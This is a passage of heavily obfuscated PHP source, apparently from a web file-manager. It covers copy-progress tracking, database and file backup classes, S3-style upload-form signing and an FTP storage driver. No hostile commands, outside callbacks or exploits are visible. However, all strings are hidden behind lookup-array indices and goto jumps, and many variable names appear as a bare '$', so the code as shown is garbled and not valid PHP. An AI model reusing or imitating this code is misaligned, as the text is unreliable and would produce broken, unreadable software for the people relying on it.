} } protected function endAfter() { $ί =& $_SERVER[՟]; Hook::unbind($ί[1803], array($this, $ί[1804])); Hook::unbind($ί[1311], array($this, $ί[1805])); Hook::unbind($ί[1806], array($this, $ί[1807])); Hook::unbind($ί[677], array($this, $ί[1808])); Hook::unbind($ί[678], array($this, $ί[1809])); Hook::unbind($ί[684], array($this, $ί[1810])); Hook::unbind($ί[685], array($this, $ί[1811])); Hook::unbind($ί[680], array($this, $ί[1812])); Hook::unbind($ί[682], array($this, $ί[1813])); Hook::unbind($ί[646], array($this, $ί[1814])); Hook::unbind($ί[643], array($this, $ί[1814])); Hook::unbind($ί[648], array($this, $ί[1814])); Hook::unbind($ί[650], array($this, $ί[1814])); Hook::unbind($ί[652], array($this, $ί[1814])); Hook::unbind($ί[1815], array($this, $ί[1816])); Hook::unbind($ί[668], array($this, $ί[1817])); Hook::unbind($ί[1818], array($this, $ί[1819])); Hook::unbind($ί[1820], array($this, $ί[1821])); Hook::unbind($ί[1822], array($this, $ί[1823])); } public function copyMoveStart($ٽ, $½, $, $♮) { $ݢ =& $_SERVER[՟]; self::log($ݢ[1833] . $½ . $ݢ[83] . $♮); $ = rtrim(TEMP_FILES, $ݢ[8]); if (substr($½, 0, strlen($)) == $) { return; } if (substr($♮, 0, strlen($)) == $) { return; } $ =& $this->task; $[$ݢ[1834]] = KodIO::transferType($ٽ, $); $this->update(); } public function updateAfter() { $ =& $_SERVER[՟]; $ =& $this->task; if (!$[$[847]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($[$[1834]] == $[1404]) { return; } self::updateTask($); } private static function updateTask(&$) { $ =& $_SERVER[՟]; if ($[$[1834]] == $[1282] || $[$[1834]] == $[120]) { if ($[$[1828]]) { $[$[1831]] = $[$[1830]] + $[$[1827]]; } } else { if ($[$[1834]] == $[1405]) { if ($[$[1828]] == $[1282]) { $[$[1831]] = $[$[1830]] + $[$[1827]] * 0.5; } else { if ($[$[1828]] == $[120]) { $[$[1831]] = $[$[1830]] + $[$[1826]] * 0.5 + $[$[1827]] * 0.5; } } } } $[$[1775]] = $[$[1831]] / $[$[847]]; if ($[$[1775]] > 0) { $ = timeFloat() - $[$[1777]] - $[$[1780]]; $[$[1781]] = $ * (1 - $[$[1775]]) / $[$[1775]]; } } public function addPath($) { $ =& $_SERVER[՟]; if (!$) { return; } $ =& $this->task; $գ = IO::infoWithChildren($); $Ǽ = $[$[1835]] ? $[$[1835]][$[1836]] : 0; $[$[1835]] = array($[1836] => $Ǽ + 1, $[503] => $գ[$[32]], $[97] => $գ[$[97]], $[591] => $գ[$[591]] ? $գ[$[591]] : $գ[$[97]]); if ($գ[$[33]] == $[240]) { $[$[1144]] += 1; } else { $[$[1144]] += $գ[$[92]][$[90]]; if ($գ[$[203]]) { $[$[1144]] += $գ[$[92]][$[91]] + 1; } } $[$[847]] += $գ[$[89]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddHashStart($) { } public function sourceAddHashEnd($) { } public function sourceAddFileStart($) { $ =& $_SERVER[՟]; $ =& $this->task; $[$[1826]] = $[$[89]]; $[$[1824]] = $[$[32]]; $[$[1146]] = $[$[32]]; $[$[1837]] = $[$[97]]; $this->update(); } public function sourceAddFileEnd($) { $ =& $_SERVER[՟]; $ =& $this->task; $[$[1831]] += $[$[89]]; $[$[1837]] = $[$[97]]; $this->update(1); } public function copyFileStart($, $, $Ӱ, $ϭ, $̫, $ј) { $ߌ덜 =& $_SERVER[՟]; $ʎ = $̫; if ($ʎ == $GLOBALS[$ߌ덜[1838]]) { $ʎ = $GLOBALS[$ߌ덜[1839]]; } $GLOBALS[$ߌ덜[1839]] = $̫; $GLOBALS[$ߌ덜[1838]] = $ј; $ =& $this->task; $[$ߌ덜[1824]] = $ʎ; $[$ߌ덜[1826]] = (int) $->size($); $[$ߌ덜[1827]] = 0; $[$ߌ덜[1146]] = $ߌ덜[12]; $[$ߌ덜[1828]] = $ߌ덜[12]; $[$ߌ덜[1829]] = 0; $ͨ = $[$ߌ덜[1826]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($[$ߌ덜[484]] . $ߌ덜[1840]); if ($ͨ && file_exists(get_path_father($ϭ))) { Cache::set($[$ߌ덜[484]] . $ߌ덜[1840], $ϭ); $[$ߌ덜[1797]] = array($ߌ덜[1841], $ߌ덜[1842]); } $this->update(0, $ͨ); } public static function updateCopyLocalFileSize($ġ) { $䤉 =& $_SERVER[՟]; $׆ = Cache::get($ġ[$䤉[484]] . $䤉[1840]); if (!$׆ || !file_exists($׆)) { return $ġ; } $ġ[$䤉[1827]] = @filesize($׆); $ġ[$䤉[1831]] += $ġ[$䤉[1827]]; self::updateTask($ġ); return $ġ; } public function copyFileEnd($, $Ŕ, $, $, $삵, $) { $݄ =& $_SERVER[՟]; $웺 =& $this->task; $웺[$݄[1827]] = $웺[$݄[1826]]; $웺[$݄[1828]] = $݄[12]; unset($웺[$݄[1797]]); if ($삵 == $웺[$݄[1824]]) { $웺[$݄[1830]] += $웺[$݄[1826]]; $웺[$݄[1831]] = $웺[$݄[1830]]; $¸ = 1; if (isset($웺[$݄[1837]]) && $웺[$݄[1837]] == $Ŕ) { $¸ = 0; } $this->update($¸); } else { $this->update(); $웺[$݄[1827]] = 0; } Cache::remove($웺[$݄[484]] . $݄[1840]); self::log($݄[1843] . $Ŕ . $݄[83] . $ . $݄[59] . $삵 . $݄[1844] . $웺[$݄[1824]]); } public function updateFileEnd($, $) { $ĵ =& $_SERVER[՟]; $ʣ =& $this->task; $ʣ[$ĵ[1824]] = $; $ʣ[$ĵ[1826]] = $; $ʣ[$ĵ[1830]] += $; $ʣ[$ĵ[1831]] = $ʣ[$ĵ[1830]]; $this->update(1); self::log($ĵ[1845] . $); } public function sourceModelCopy($鑑) { $ =& $_SERVER[՟]; $Ȭ = $鑑[0]; $ = $鑑[1]; $ =& $this->task; $this->sourceModelCopyFlag = !0; $ = 0; switch ($Ȭ) { case $[644]: $ = 1; break; case $[647]: $[$[1824]] = $[$[32]]; break; case $[649]: $ = intval($鑑[$[465]] * 0.4); break; case $[651]: $ = intval($鑑[$[465]] * 0.2); break; case $[653]: $ = intval($鑑[$[465]] * 0.4); break; } $this->update($); $this->sourceModelCopyFlag = !1; } public function sourceRemove($ր, $) { $̤ӭ =& $_SERVER[՟]; $this->sourceModelCopyFlag = !0; $ = 1; if (isset($ր[$̤ӭ[92]])) { $ = $ր[$̤ӭ[92]][$̤ӭ[90]]; $ = $ + $ր[$̤ӭ[92]][$̤ӭ[91]] + 1; } $this->update($); $this->sourceModelCopyFlag = !1; } public function sourceMove($) { $this->sourceRemove($, !1); } public function curlProgress($, $, $, $ӫ, $) { $ݻ =& $_SERVER[՟]; $ =& $this->task; if ($ > 0) { $[$ݻ[1146]] = $ݻ[1846]; $[$ݻ[1828]] = $ݻ[120]; if ($[$ݻ[1826]]) { $[$ݻ[1827]] = $; } if ($[$ݻ[1829]]) { $[$ݻ[1827]] = $ + $[$ݻ[1829]]; } } else { if ($ > 0) { if ($[$ݻ[1826]] == $) { $[$ݻ[1827]] = $; $[$ݻ[1146]] = $ݻ[1847]; $[$ݻ[1828]] = $ݻ[1282]; } } } $this->update(); } public function curlProgressStart($ϛ) { } public function curlProgressEnd($Վ) { $쥔ŧ =& $_SERVER[՟]; $Ҙ =& $this->task; $߯ = curl_getinfo($Վ); $͟ʷ = $߯[$쥔ŧ[1848]]; if ($͟ʷ == -1) { $͟ʷ = $߯[$쥔ŧ[1849]]; } if ($Ҙ[$쥔ŧ[1828]] == $쥔ŧ[120] && $͟ʷ) { $Ҙ[$쥔ŧ[1829]] += $͟ʷ; } $this->update(); } } goto C졶; Eα: class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { $ƀ =& $_SERVER[՟]; $ν˺ = Backup::get(); self::$io = $ν˺[$ƀ[836]]; self::$name = $ν˺[$ƀ[32]]; $ = new DbManage(); $ߴ = $->dbType(); $ = array($ƀ[861] => $ߴ, $ƀ[862] => time()); Backup::set($); $ц = $this->tmpFilesPath() . $ƀ[863] . self::$name . $ƀ[8]; del_dir($ц); mk_dir($ц); $ð躆 = $ = 0; try { $ = $->db()->getTables(); } catch (Exception $Р) { return !1; } $ = array_diff($, array($ƀ[864], $ƀ[865])); foreach ($ as $) { $ð躆 += $->model($)->count(); } $ꝃ = new Task($ƀ[866], $ƀ[867], $ð躆, LNG($ƀ[868]) . $ƀ[869] . LNG($ƀ[870])); $GLOBALS[$ƀ[871]] = self::$name; foreach ($ as $) { $ƞ = $ц . $ . $ƀ[872]; $̏ = null; if ($ == $ƀ[873] && (!isset($ν˺[$ƀ[181]]) || $ν˺[$ƀ[181]] == $ƀ[238])) { $̏ = self::$io; } $ += $->sqlFromDb($, $ƞ, $ꝃ, $̏); } unset($GLOBALS[$ƀ[871]]); $ꝃ->end(); if ($ > $ð躆) { $ð躆 = $; } $ = array($ƀ[861] => $ߴ, $ƀ[857] => 1, $ƀ[874] => $ð躆, $ƀ[875] => $, $ƀ[876] => time()); Backup::set($); if ($ð躆 - $ > 0) { $ = $ƀ[877]; if (!stristr(I18n::getType(), $ƀ[878])) { $ = $ƀ[879]; } write_log(array($, $), $ƀ[867]); return !1; } return !0; } private function tmpFilesPath() { $ =& $_SERVER[՟]; $ = TEMP_FILES; if ($GLOBALS[$[6]][$[102]][$[880]]) { $ = $GLOBALS[$[6]][$[102]][$[880]]; if (!mk_dir($) || !is_writable($) || !IO::mkfile($ . $[881])) { $ = TEMP_FILES; } } return $; } } class BackupDbFile { public function __construct() { } public function index() { $ =& $_SERVER[՟]; $ = Backup::get(); $ㅓ = $[$[32]]; $ڦ = $this->tmpFilesPath() . "\x62\141\x63\x6b\x75\x70\137{$ㅓ}\x2f"; $ = $this->backupPath($); if (!($ = IO::mkdir($))) { return !1; } $û = IO::listPath($ڦ); $̀ = isset($û[$[96]]) ? $û[$[96]] : array(); $Հ = array_sum(array_column($̀, $[89])); if (!$Հ) { return !1; } $⟫ = array($[882] => $Հ, $[883] => time()); Backup::set($⟫); $ = new TaskFileTransfer($[884], $[867], count($̀), LNG($[868]) . $[471] . LNG($[870]) . $[885]); $->task[$[847]] = $Հ; foreach ($û[$[96]] as $닲ۥ) { $ = IO::move($닲ۥ[$[97]], $); if (!$) { $->end(); $Ɠ = IO::getLastError($[886] . $닲ۥ[$[97]] . $[887] . $ . $[188]); write_log($Ɠ, $[867]); return !1; } } $ֺ = new DbManage(); $癩 = $ֺ->getSqlFile(); if (!$癩[$[888]] || !$癩[$[13]]) { return !1; } IO::move($癩[$[888]], $); IO::move($癩[$[13]], $); $->end(); $⟫ = array($[889] => $Հ, $[890] => time()); Backup::set($⟫); return !0; } private function backupPath($ה) { $ =& $_SERVER[՟]; $釥Ё = $ה[$[32]]; $ = Model($[854])->get($[855]); $뇨 = substr(md5($[856] . $ . $釥Ё), 0, 8); return "\173\x69\157\72{$ה[$[836]]}\x7d\x2f\x64\141\164\141\x62\x61\x73\x65\x2f\x62\141\143\x6b\x75\x70\x2f" . $釥Ё . $[11] . $뇨; } private function tmpFilesPath() { $앣 =& $_SERVER[՟]; $ٻ = TEMP_FILES; if ($GLOBALS[$앣[6]][$앣[102]][$앣[880]]) { $ٻ = $GLOBALS[$앣[6]][$앣[102]][$앣[880]]; if (!mk_dir($ٻ) || !is_writable($ٻ) || !IO::mkfile($ٻ . $앣[881])) { $ٻ = TEMP_FILES; } } return $ٻ; } } class BackupFile { public function __construct() { } public function index() { $¹ = Backup::get(); $ި = $¹[$_SERVER[՟][378]][$_SERVER[՟][240]][$_SERVER[՟][550]]; $Ν = array($_SERVER[՟][551] => array($_SERVER[՟][891], $ި), $_SERVER[՟][892] => array($_SERVER[՟][416], $¹[$_SERVER[՟][836]])); $Ù = (int) Model($_SERVER[՟][873])->where($Ν)->count($_SERVER[՟][550]); $ = (int) Model($_SERVER[՟][873])->where($Ν)->sum($_SERVER[՟][89]); $Οۊ = new TaskFileTransfer($_SERVER[՟][893], $_SERVER[՟][867], $Ù, LNG($_SERVER[՟][868]) . $_SERVER[՟][869] . LNG($_SERVER[՟][894])); $Οۊ->task[$_SERVER[՟][847]] = $; $ܰ = array($_SERVER[՟][895] => $Ù, $_SERVER[՟][896] => $, $_SERVER[՟][897] => time()); Backup::set($ܰ); $箟 = !0; $Գٵ = $this->storeIds(); $ʅ = 1; $Ţ = 1000; $枒 = $ܽ = 0; $ = array(); $˾ = $ = 0; do { $ = $_SERVER[՟][898]; $ݭ = Model($_SERVER[՟][873])->where($Ν)->field($)->order($_SERVER[՟][899])->selectPage($Ţ, $ʅ); $ף = !empty($ݭ[$_SERVER[՟][454]]) ? $ݭ[$_SERVER[՟][454]] : array(); foreach ($ף as $Ȅ) { if (!$this->_fileExist($Ȅ, $, $Գٵ)) { write_log("\146\151\x6c\x65\40\x6e\157\x74\40\145\170\151\x73\164\x2e\146\151\154\x65\111\104\x3a{$Ȅ[$_SERVER[՟][550]]}\x2c\x20\160\141\164\150\72{$Ȅ[$_SERVER[՟][97]]}", $_SERVER[՟][900]); continue; } $ژ = $Ȅ[$_SERVER[՟][97]]; $ɼ = "\x7b\151\x6f\x3a{$¹[$_SERVER[՟][836]]}\x7d" . substr($ژ, strlen("\x7b\151\x6f\x3a{$Ȅ[$_SERVER[՟][901]]}\x7d")); if (IO::exist($ɼ)) { $Οۊ->updateFileEnd($Ȅ[$_SERVER[՟][32]], $Ȅ[$_SERVER[՟][89]]); } else { $ɼ = get_path_father($ɼ); IO::mkdir($ɼ); if (!IO::copy($ژ, $ɼ, $_SERVER[՟][902])) { write_log($_SERVER[՟][903] . $ژ . $_SERVER[՟][887] . $ɼ . $_SERVER[՟][188], $_SERVER[՟][867]); $箟 = !1; break; } } $ި = $Ȅ[$_SERVER[՟][550]]; $ܽ += 1; $枒 += $Ȅ[$_SERVER[՟][89]]; $ += 1; $˾ += $Ȅ[$_SERVER[՟][89]]; if ($枒 >= 1024 * 1024 * 100) { $ܰ = array($_SERVER[՟][835] => $ި, $_SERVER[՟][904] => $, $_SERVER[՟][905] => $˾); Backup::set($ܰ); $枒 = $ܽ = 0; } } $ = count($ף); $ʅ++; } while ($ == $Ţ); $Οۊ->end(); $ܰ = array($_SERVER[՟][906] => 1, $_SERVER[՟][845] => time(), $_SERVER[՟][859] => 1, $_SERVER[՟][835] => $ި, $_SERVER[՟][907] => time()); if ($ܽ) { $ܰ[$_SERVER[՟][904]] = $; $ܰ[$_SERVER[՟][905]] = $˾; } Backup::set($ܰ); return !0; } private function _fileExist($, &$ȫ, $ཊ) { $ =& $_SERVER[՟]; $ = $[$[97]]; if (in_array($[$[550]], $ȫ)) { return !1; } if (!in_array($[$[901]], $ཊ)) { return !1; } if (IO::exist($)) { return !0; } $ = get_path_father($); if (IO::exist($)) { $ȫ[] = $[$[550]]; return !1; } $κ舗 = array($[901] => $[$[901]], $[97] => array($[468], "{$}\x25")); $Ѽ = Model($[873])->where($κ舗)->field($[551])->select(); $ȫ = array_merge($ȫ, array_to_keyvalue($Ѽ, $[12], $[550])); return !1; } private function _fileFilter($л) { $ =& $_SERVER[՟]; return; if (empty($л)) { return; } $ = array($[550] => array($[7], array_unique($л))); $ٲ = Model($[908])->where($)->field($[203])->select(); foreach ($ٲ as $뎴) { Model($[908])->remove($뎴[$[203]], !1); } } private function storeIds() { $ſ =& $_SERVER[՟]; $١ = Model($ſ[851])->listData(); $沱 = array(); $ʷ = $GLOBALS[$ſ[6]][$ſ[102]][$ſ[909]]; foreach ($١ as $ì) { $Зʥ = strtolower($ì[$ſ[108]]); if (!isset($ʷ[$Зʥ])) { continue; } $휝 = $ſ[87] . (isset($ʷ[$Зʥ]) ? $ʷ[$Зʥ] : ucfirst($Зʥ)); if (!class_exists($휝)) { continue; } $沱[] = $ì[$ſ[484]]; } return $沱; } } goto e; cВ: class PathDriverEDS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[՟][257]); } } class PathDriverEOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[՟][257]); } public function uploadFormData($, $ݿ = 3600) { $ٽ =& $_SERVER[՟]; $ړ = $ٽ[239]; $Ȅ = $ٽ[279]; $͔ = $ٽ[72]; $ = gmdate($ٽ[280]); $єꉫ = gmdate($ٽ[281]); $ = $ٽ[282]; $ؤ = $ݿ . $ٽ[12]; $˼ = $ٽ[283]; $̈́ = array($this->accessKey, $єꉫ, $this->region, $͔, $); $ = implode($ٽ[8], $̈́); $摔 = array($ٽ[284] => gmdate($ٽ[308], strtotime($ٽ[286])), $ٽ[287] => array(array($ٽ[288] => $this->bucket), array($ٽ[289] => $ړ), array($ٽ[290], $ٽ[291], $ٽ[12]), array($ٽ[290], $ٽ[292], $ٽ[12]), array($ٽ[290], $ٽ[293], $ٽ[12]), array($ٽ[294] => $˼), array($ٽ[295] => $), array($ٽ[296] => $Ȅ), array($ٽ[297] => $), array($ٽ[298] => $ؤ))); $ǀѯ = base64_encode(json_encode($摔)); $ = hash_hmac($ٽ[299], $єꉫ, $ٽ[300] . $this->secret, !0); $Ю = hash_hmac($ٽ[299], $this->region, $, !0); $։ = hash_hmac($ٽ[299], $͔, $Ю, !0); $ϫ▄ = hash_hmac($ٽ[299], $, $։, !0); $Ӛ = hash_hmac($ٽ[299], $ǀѯ, $ϫ▄); $Ԋ = array($ٽ[256] => $ٽ[12], $ٽ[301] => $ٽ[12], $ٽ[289] => $ړ, $ٽ[294] => $˼, $ٽ[302] => $ǀѯ, $ٽ[303] => $, $ٽ[304] => $Ȅ, $ٽ[305] => $, $ٽ[306] => $ؤ, $ٽ[307] => $Ӛ, $ٽ[218] => $this->getHost()); return $Ԋ; } } class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "\61"; public $config = array(); public function __construct($) { parent::__construct(); if (count($) > 0) { $this->_init($); } } public function __destruct() { if (!$this->_isconn(!1)) { return !1; } return @ftp_close($this->connect); } private function charsetReset($ī) { $ =& $_SERVER[՟]; global $config; $this->appCharset = $config[$[1439]]; $this->systemCharset = $config[$[1440]]; if (isset($ī[$[1441]]) && $ī[$[1441]]) { $this->systemCharset = $ī[$[1441]]; } } public function iconvApp($߸) { return $this->iconvTo($߸, $this->systemCharset, $this->appCharset); } public function iconvSystem($ά͔) { return $this->iconvTo($ά͔, $this->appCharset, $this->systemCharset); } public function getPathOuter($Ȝ) { $Ӻ =& $_SERVER[՟]; $͗ = $this->iconvApp($this->pathBase); $Ȝ = $this->iconvApp($Ȝ); if (substr($͗, 0, 2) == $Ӻ[1413]) { $͗ = BASIC_PATH . substr($͗, 2); } if (substr($Ȝ, 0, 2) == $Ӻ[1413]) { $Ȝ = BASIC_PATH . substr($Ȝ, 2); } $͗ = KodIO::clear($͗); $Ȝ = KodIO::clear($Ȝ); $Ȝ = substr($Ȝ, strlen($͗)); if (empty($this->pathDriver)) { return $Ȝ; } return $this->pathDriver . $Ӻ[8] . ltrim($Ȝ, $Ӻ[8]); } private function _init($ = array()) { $烫 =& $_SERVER[՟]; if (!function_exists($烫[1442])) { throw new Exception(LNG($烫[1443])); } $this->config = $; $this->charsetReset($); foreach ($ as $ => $պ) { if (isset($this->{$})) { $this->{$} = $պ; } } return $this->_login($); } private function _login($ز) { $ͣ =& $_SERVER[՟]; static $̸ = array(); $ڋ = md5(json_encode($ز)); if (isset($̸[$ڋ])) { foreach ($̸[$ڋ] as $滓Û => $) { $this->{$滓Û} = $; } return !0; } $ = parse_url(trim($this->server, $ͣ[8])); $this->host = $[$ͣ[218]]; $Ş = isset($[$ͣ[217]]) && $[$ͣ[217]] == $ͣ[1444] ? !0 : !1; $this->scheme = $Ş ? $ͣ[1445] : $ͣ[1446]; $this->port = isset($[$ͣ[219]]) ? $[$ͣ[219]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 30); if ($this->connect === !1) { $this->writeLog(LNG($ͣ[1447]) . $this->host . $ͣ[4] . $this->port, !0); return !1; } $ = @ftp_login($this->connect, $this->username, $this->userpass); if (!$) { $this->writeLog(LNG($ͣ[1448]) . $this->username, !0); return !1; } @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $ = $this->pasv == $ͣ[101] ? !0 : !1; @ftp_pasv($this->connect, $); $̸[$ڋ] = array($ͣ[1449] => $this->connect, $ͣ[218] => $this->host, $ͣ[217] => $this->scheme, $ͣ[219] => $this->port); return $; } private function _isconn($Ͳ唍 = true) { if (is_resource($this->connect)) { return !0; } if (!$Ͳ唍) { return !1; } return $this->_login($this->config); } public function mkfile($苰, $ɛ = '', $ = REPEAT_RENAME) { if ($this->setContent($苰, $ɛ)) { return $this->getPathOuter($苰); } $this->writeLog(LNG($_SERVER[՟][1450]), !0); return !1; } public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[՟]; if (!$ || $ == $[8]) { return !0; } if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); if ($this->_isFolder($) || @ftp_mkdir($this->connect, $)) { return $this->getPathOuter($); } if (!$this->mkdir($this->pathFather($))) { return !1; } if ($ = @ftp_mkdir($this->connect, $)) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $[1451], !0); return !1; } public function copyFile($, $ӫ) { if (!$this->_isconn()) { return !1; } $ = $this->pathThis($this->iconvSystem($)); $فۤ = $this->tempFile($); $ = $this->iconvApp($فۤ); $this->download($, $); $ = $this->upload($ӫ, $); $this->tempFileRemve($فۤ); return $; } public function moveFile($Ӧ, $叇) { if (!$this->_isconn()) { return !1; } $Ӧ = $this->iconvSystem($Ӧ); $叇 = $this->iconvSystem($叇); $硩 = @ftp_rename($this->connect, $Ӧ, $叇); if (!$硩) { $this->writeLog(__FUNCTION__ . $_SERVER[՟][1451], !0); return !1; } return $this->getPathOuter($叇); } public function delFile($) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); $ = @ftp_delete($this->connect, $); if (!$) { $this->writeLog(__FUNCTION__ . $_SERVER[՟][1451], !0); } return $; } public function delFolder($) { if (!$this->_isconn()) { return !1; } $this->listItemCache = !1; $ = $ = array(); $this->fileList($, $, $, !0); $this->listItemCache = !0; foreach ($ as $) { $ = $this->iconvSystem($[$_SERVER[՟][32]]); $܊ = @ftp_delete($this->connect, $); if (!$܊) { return !1; } } foreach ($ as $) { $ = $this->iconvSystem($); $܊ = @ftp_rmdir($this->connect, $); if (!$܊) { return !1; } } $ = $this->iconvSystem($); return @ftp_rmdir($this->connect, $); } public function rename($𬊨, $) { $刍 =& $_SERVER[՟]; if (!$this->_isconn()) { return !1; } $ǂ = $this->fileNameAuto($this->pathFather($𬊨), $); $ǂ = $this->iconvSystem($ǂ); $𬊨 = $this->iconvSystem($𬊨); $ = $this->pathFather($𬊨); $ = rtrim($, $刍[8]) . $刍[8] . $ǂ; $ʾ = @ftp_rename($this->connect, $𬊨, $); if (!$ʾ) { $this->writeLog(__FUNCTION__ . $刍[1451], !0); return !1; } $ = $this->iconvApp($); return $this->getPathOuter($); } private function folderInfo($, $ޅ = false) { $ڿ =& $_SERVER[՟]; $ = array($ڿ[32] => $this->pathThis($), $ڿ[97] => $this->getPathOuter($ڿ[8] . $), $ڿ[33] => $ڿ[88]); if ($ޅ) { return $; } $[$ڿ[241]] = $[$ڿ[98]] = 0; $[$ڿ[242]] = $[$ڿ[243]] = !0; return $; } private function fileInfo($, $ǒ = false, $Ćə = array()) { $ =& $_SERVER[՟]; $ժ = array($[32] => $this->pathThis($), $[97] => $this->getPathOuter($[8] . $), $[33] => $[240], $[89] => isset($Ćə[$[89]]) ? $Ćə[$[89]] : 0, $[179] => $this->ext($)); if ($ǒ) { return $ժ; } $ժ[$[241]] = $ժ[$[98]] = 0; $ժ[$[242]] = $ժ[$[243]] = !0; $ = $this->iconvSystem($); $ժ[$[98]] = @ftp_mdtm($this->connect, $); if (empty($Ćə)) { $Ćə = $this->objectMeta($); if (!$Ćə) { return $ժ; } } $ժ[$[89]] = $Ćə[$[89]]; return $ժ; } public function size($ۓ) { $ = $this->objectMeta($ۓ); return $ ? $[$_SERVER[՟][89]] : 0; } public function info($) { if ($this->isFile($)) { return $this->fileInfo($, 0); } else { if ($this->isFolder($)) { return $this->folderInfo($); } } return !1; } private function fileList($, &$̗, &$𪛈, $ = false) { $Ĉ =& $_SERVER[՟]; $ = $this->iconvSystem($); if (!$this->isFolder($)) { return !1; } @ftp_chdir($this->connect, $Ĉ[8]); $ = rtrim($, $Ĉ[8]) . $Ĉ[8]; check_abort(); $ȷ = @ftp_rawlist($this->connect, $); if (!$ȷ) { $ȷ = array(); } $ = array($Ĉ[10] => 1, $Ĉ[1366] => 1); foreach ($ȷ as $鑮) { $у = $this->_listItem($鑮); if ($у[0] == $Ĉ[842]) { continue; } $¹ = $у[8]; if (empty($¹) && $¹ !== $Ĉ[238] || isset($[$¹])) { continue; } $¹ = $this->iconvApp($ . ltrim($¹, $Ĉ[8])); $ = array($Ĉ[32] => $¹, $Ĉ[33] => $Ĉ[240], $Ĉ[89] => $у[4]); if (substr($鑮, 0, 1) == $Ĉ[1452]) { $[$Ĉ[33]] = $Ĉ[88]; $[$Ĉ[89]] = 0; } $ = $[$Ĉ[33]] == $Ĉ[88] ? !0 : !1; $this->cacheMethodInfoSet($¹, $, $); if ($) { $̗[] = $¹; if ($) { $this->fileList($¹, $̗, $𪛈, $); } continue; } $𪛈[] = $; } $this->cacheMethodInfoSet($, !0); } private function _listItem($) { if (empty($)) { return array(); } $ = preg_split($_SERVER[՟][1453], $); if (count($) <= 9) { return $; } $[8] = trim(substr($, strpos($, $[7]) + strlen($[7]))); return array_splice($, 0, 9); } public function listPath($۵, $ = false) { $ޗ =& $_SERVER[՟]; if (!$this->_isconn()) { return !1; } $ = $㊈ = array(); $this->fileList($۵, $, $㊈); foreach ($ as $ => $Ğ) { $[$] = $this->folderInfo($Ğ, $); } foreach ($㊈ as $ => $Ğ) { $㊈[$] = $this->fileInfo($Ğ[$ޗ[32]], $, $Ğ); } return array($ޗ[95] => $, $ޗ[96] => $㊈); } public function has($ۥ, $ = false, $߱ = true) { $ؚ =& $_SERVER[՟]; $ = $Ʈ = array(); $ϕǰ = $ ? !0 : !1; $this->fileList($ۥ, $, $Ʈ, $ϕǰ); if ($) { return array($ؚ[249] => count($Ʈ), $ؚ[250] => count($)); } if ($߱) { if (count($Ʈ)) { return !0; } } else { if (count($)) { return !0; } } return !1; } public function listAll($Ν) { $Ҡ =& $_SERVER[՟]; if (!$this->_isconn()) { return !1; } $㞐 = $ = array(); $this->fileList($Ν, $㞐, $, !0); $ = array_to_keyvalue($, $Ҡ[32]); foreach ($㞐 as $) { if (is_string($)) { $[$] = array($Ҡ[89] => 0); } } return $this->listAllFiles($Ν, $); } public function getContent($ĭߕ) { if (!$this->_isconn()) { return !1; } $ĭߕ = $this->iconvSystem($ĭߕ); return $this->fileSubstr($ĭߕ); } public function setContent($️, $ʕ = '') { if (!$this->_isconn()) { return !1; } $ꠉ = $this->pathThis($this->iconvSystem($️)); $ٕ = $this->tempFile($ꠉ); file_put_contents($ٕ, $ʕ); $Пӫ = $this->upload($️, $this->iconvApp($ٕ)); $this->tempFileRemve($ٕ); return $Пӫ; } public function fileSubstr($, $ա = 0, $ = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($, $ա, $); } private function ftpRequest($, $ = 0, $Ԑ = false) { $ = $this->iconvSystem($); $ނ = $this->scheme . $this->host . $_SERVER[՟][4] . $this->port; $ = curl_init(); curl_setopt($, CURLOPT_URL, $ނ . $this->pathEncode($)); curl_setopt($, CURLOPT_USERPWD, "{$this->username}\x3a{$this->userpass}"); if ($Ԑ) { $ = $ + $Ԑ - 1; curl_setopt($, CURLOPT_RANGE, "{$}\55{$}"); } curl_setopt($, CURLOPT_RETURNTRANSFER, 1); $꽧 = curl_exec($); curl_close($); return $꽧; } public function upload($, $, $Ǻ = false, $ⱕ = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($))) { return !1; } $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = ftp_nb_put($this->connect, $, $, FTP_BINARY); while ($ == FTP_MOREDATA) { $ = ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { $this->writeLog(__FUNCTION__ . $_SERVER[՟][1451], !0); return !1; } return $this->getPathOuter($); } public function download($, $֍Ȣ = '') { if (!$this->_isconn()) { return !1; } $śϩ = $this->pathFather($֍Ȣ); if (!IO::mkdir($śϩ)) { return !1; } $ = $this->iconvSystem($); $֍Ȣ = $this->iconvSystem($֍Ȣ); $ = ftp_nb_get($this->connect, $֍Ȣ, $, FTP_BINARY); while ($ == FTP_MOREDATA) { $ = ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { $this->writeLog(__FUNCTION__ . $_SERVER[՟][1451], !0); return !1; } return $this->iconvApp($֍Ȣ); } public function exist($ė) { return $this->isFile($ė) || $this->isFolder($ė); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($Ȣ) { return $this->cacheMethod($_SERVER[՟][189], $Ȣ); } protected function objectMeta($ˉ) { return $this->cacheMethod($_SERVER[՟][191], $ˉ); } protected function _objectMeta($з߿) { $Ӓ =& $_SERVER[՟]; if ($з߿ == $Ӓ[12] || $з߿ == $Ӓ[8]) { return array(); } if (!$this->_isconn()) { return !1; } $з߿ = $this->iconvSystem($з߿); $Ȣ = array($Ӓ[32] => $this->iconvApp($з߿), $Ӓ[33] => $Ӓ[240], $Ӓ[89] => 0); @ftp_chdir($this->connect, $Ӓ[8]); 